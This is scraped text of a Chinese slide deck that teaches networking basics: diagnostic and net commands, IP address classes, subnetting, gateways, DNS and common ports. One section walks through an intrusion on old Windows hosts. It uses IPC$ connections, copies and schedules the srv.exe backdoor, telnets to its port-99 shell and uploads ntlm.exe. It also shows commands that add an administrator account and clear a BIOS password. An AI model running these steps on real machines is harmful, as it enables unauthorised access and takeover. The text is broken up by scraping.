《IP地址及DOS常用的命令.ppt》由会员分享，可在线阅读，更多相关《IP地址及DOS常用的命令.ppt（28页珍藏版）》请在三一文库上搜索。
1、第二章 计算机网络基础-IP地址及DOS常用的命令,本章学习目标 网络的基本命令 认识IP地址与端口(PORT),网络中常用的命令,三大网络调试命令： 1.最基本，最常用的，测试物理网络的 ping 192.168.0.8 ping 127.0.0.1 ping 192.168.0.8 t ，参数t是等待用户去中断测试 ping -a 192.168.0.8 参数a是显示计算机名 ping -n 5000 192.168.0.8参数n是发送指定多少数据包 ping l 6550 t 192.168.0.8参数L 定义数据包的大小 2. ping ip /hostname /dns /gatew
2、ay 3.Tracert （域名） Tracert ip （IP地址） 4.debug ip （IP 地址） Debug （协议） 清除BIOS的密码：-o70 18 OR O70 21 -o71 18 OR O71 21 -q -Q,2.查看DNS、IP、Mac等 A.Win98：winipcfg B.Win2000以上：Ipconfig/all (ipconfig /release or ipconfig /renew) C.NSLOOKUP：如查看州的DNS (nslookup ip or nslookup domain) 3.网络信使 （经常有人问的） Net send 计算机名/I
3、P|* (广播) 传送内容，注意不能跨网段 net stop messenger 停止信使服务，也可以在面板服务修改 net start messenger 开始信使服务,网络中常用的命令,4.探测对方对方计算机名，所在的组、域及当前用户名 （追捕的工作原理） ping a IP t ，只显示NetBios名 nbtstat -a 192.168.10.146 比较全的 stat -a 显示出你的计算机当前所开放的所有端口 netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等 Nenstat an 显示计算机端口的详细信息 6.探测arp绑定（
4、动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址 arp -a 捆绑IP和MAC地址，解决局域网内盗用IP！： ARP s 192.168.10.59 00 50ff6c0875 解除网卡的IP与MAC地址的绑定： arp -d 网卡IP,网络中常用的命令,8.在网络邻居上隐藏你的计算机 （让人家看不见你！） net config server /hidden:yes net config server /hidden:no 则为开启 9.路由跟踪命令 A.tracert B.pathping 除了显示路由外，还提供325S的分析，计算丢失包的,网络中常用的命令,10.
5、几个net命令 A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。 比如：查看这个IP上的共享资源，就可以 net viewIP address use e:iplq Net user abc abc /add Net user abc abcd Net localgroup administrators abc /add Net user guest /active :yes Net user abc /del Net share Net share d: /del c:net share mymovie=e:downloads
6、movie /users:1 D.记录链接 net session C:net session 计算机 用户名 客户类型 打开空闲时间 - 192.168.10.110 ROME Windows 2000 2195 0 00:03:12 192.168.10.51 ROME Windows 2000 2195 0 00:00:39,网络中常用的命令,1)建立空连接: net use IPipc$ “ /user:“ (一定要注意:这一行命令中包含了3个空格) 2)建立非空连接: net use IPipc$ “用户名“ /user:“密码“ (同样有3个空格) 3)映射默认共享: net us
7、e z: IPc$ “密码” /user:“用户名” (即可将对方的c盘映射为自己的z盘，其他盘类推) 如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: IPc$ 4)删除一个ipc$连接 net use IPipc$ /del 5)删除共享映射 net use c: /del 删除映射的c盘，其他盘类推 net use * /del 删除全部,会有提示要求按y确认 2）C:copy srv.exe 127.0.0.1admin$ 先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:winntsystem32，大家
8、还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。 3. C:net time 127.0.0.1 查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 4. C:at 127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） 5. C:net time 127.0.0.1 再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 6. C:telnet 127.0.0.1 99 这里会
9、用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 7.C:copy ntlm.exe 127.0.0.1admin$ 用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在流光的Tools目录中）。 8. C:WINNTsystem32ntlm,网络中常用的命令,Convert d:/fs:ntfs 格式转化 Format d:/fs:ntfs 系统格式化 Ntbackup 系统备份 Dcpromo 升级域控制器 Gpedit.msc 组策略 Syskey SAM文件加密 Cipher
10、files /e NTFS文件加密 Cipher files /D NTFS文件解密,IP 地址:简单的说就是我们家中的住址.你可以把互联网想象成一个地球村,当你拔号或是连接 上网张的时候 ,主是你要加入到这个地球村,成为其中的一份子,既然要加入的话,当然就需要一个地十,让他人可以找到你,知道你的位置在哪里,这就是IP地址的基本 IP要做什么? 计算机 在internet上一定得使用一个IP才能沟通,也就是说,计算机的信息会随着IP而泄密,而黑客知道IP,如小偷知道你家的地址. 什么是PORT ? PORT就是网络通道上的门.,IP 地址,概述IP,IP 地址分类 子网划分 规划IP地址 在W
11、IN2000中指定IP地址,IP地址,什么是IP地址 它是一种协议地址，别的协议可能会有自己的地址，不叫IP地址，这种地址是此协议用来定位计算机时用的 IP地址是由一个32位长的二进制数字表示,这32位又分为4个8位位组,每8位位组以十进制来表示,最大值是255,整个IP地址表示了网络的地址和网络中的主机地址. 每一个IP地址分为两个部分;网络号和节点号.网络号是用来定位网络,主机号是用来识别网络中的设备.,IP地址的分类,IP地址的分类(A.B.C.D.E) A类（1-126）即：1.x.y.z-126.x.y.z B类（128-191）即:128.0.y.z-191.255.y.z C类（
12、192-223）即:192.0.0.z-223.255.255.z LAN(Local area network )内用的IP地址: A类:10.0.0.0-10.255.255.255 B类:172.16.0.0-172.16.255.255 C类:192.168.0.0-192.168.255.255,IP地址的分类,A类地址：头一位是0 (w.x.y.z) B类地址：头两位是10 (w.x.y.z) C类地址：头三位是110 (w.x.y.z) 网络ID和主机ID的作用（根据子网掩码来分的） 地址分配原则：网络ID不能为127，主机ID不能全为0或者全为255，主机ID对于每个网络ID是
13、唯一的。 eg：192.1 68.0.1/24 网络ID (192.168.0) 主机ID （ 1）,子网掩码(subnet mask),IP 地址内的网络 ID 和主机 ID 用子网掩码区分。每个子网掩码都是一个 32 位数，使用连续的都是 1 的位组标识网络 ID，都是 0 的位组标识 IP 地址的主机 ID。 例如，IP 地址 131.107.16.200 通常使用子网掩码是以下 32 位二进制数： 11111111 11111111 00000000 00000000 该子网掩码是 16 个都是 1 的位，后跟 16 个都是 0 的位，表示 IP 地址的网络 ID 和主机 ID 长度上
14、都是 16 位。通常，该子网掩码显示成带点的十进制符号 255.255.0.0。 A 类 11111111 00000000 00000000 00000000 255.0.0.0 B 类 11111111 11111111 00000000 00000000 255.255.0.0 C 类 11111111 11111111 11111111 00000000 255.255.255.0,子网掩码(subnet mask)作用,用来区分IP地下的网络号和主机号 判断主机是否在同一子网(网络段)中 确定子网数和主机数,地址类别小结,类别 十进制表示前8位 网络标识的数 主机标识 A 1-126
15、 8 24 B 128-191 16 16 C 192-223 24 8,Example: 172.16.20.200,172.16.20.200 is Class B address Network portion: 172.16 Host portion: 20.200 Network address: 172.16.0.0 Broadcast address: 172.16.255.255,SMIPLE,C,218.14.55,137,218.14.55.255,A,123,1.1.15,123.255.255.255,B,150.127,221.244,150.127.255.255,
16、C,194.125.35,199,194.125.35.255,B,175.12,239.244,175.12.255.255,Default subnet mask: Example,192.168.2.100 / 255.255.255.0. 11000000.10101000.00000010.01100100. 11111111.11111111.11111111.00000000. 11000000.10101000.00000010.00000000. Class C network: 24 bits for network portion. 0 bits for subnet p
17、ortion. 8 bits for host portion. Subnet address: 192.168.2.0.,Subnet mask: Example,172.16.65.100 / 255.255.240.0. 10101100.00010000.01000001.01100100. 11111111.11111111.11110000.00000000. 10101100.00010000.01000001.00000000. Class B network: 16 bits for network portion. 4 bits for subnet portion. 12
18、 bits for host portion. Subnet address: 172.16.64.0.,TCP/IP 工作原理,将IP地址与子网掩码相互操作,得出网络IP若相同,表示在同一子网,直接通信,若不同,表示在不同子网,找路由器,路由再发出广播.,子网,为什么要子网？（子网是TCP/IP环境中的一个物理段，划分子网可以克服当前技术的局限，例如超过每一段主机的最大数目。你可以重新定向网络流和减少广播，降低网络的拥挤程度。） 子网掩码如何计算？ 1. 确定子网掩码 2. 将子网（主机）数量转换成二进制 3. 计算所使用的位数 4. 通过计算可得子网掩码 （举例） 确定主机数量和子网数量（
19、举例） 计算子网地址（举例） 计算主机地址（举例）,（举例）,192.168.10.0, 需要13个子网来取代相互独立的网络，需要什么样的子网掩码呢？ 192.168.15.0 ,划分31个不同的子网. 如果是B类地址呢？,TCP/IP 地址测试,PING PING IP 地址-TCP /IP 协议初始化正确 PING 本机地址-网卡NDIS 绑定正确 PING 同一子网地址-本子网网络已通 PING 缺省网关-路由器配置正确 PING对方不同子网地址-这一段网络已通,网关,网关就是计算机访问internet/internal的进出口. 路由器或服务器可充当局域网的网关 同一个局域网内所有计算机相互访问不必设置网关 网关是工作在OIS七层参考模型的第开层.,DNS(domain name service),什么域名:是在internet上解决IP地址对应的一种方法.一个完整的域名由两个或者两个以上部分组成,各部分之间用英文的句号“.”来分隔.如:. DNS作用:(域名解析） 正向解析:把IP地址解析成域名 反向解析;把域名解析成IP,常见的端口(port)服务,FTP:21,20 telnet:23 Smtp:25 Pop3:110 http:80 Netbois:139 Pcanywhere:5631,5632 Netmeeting:1731 ,1720 Admin:4899,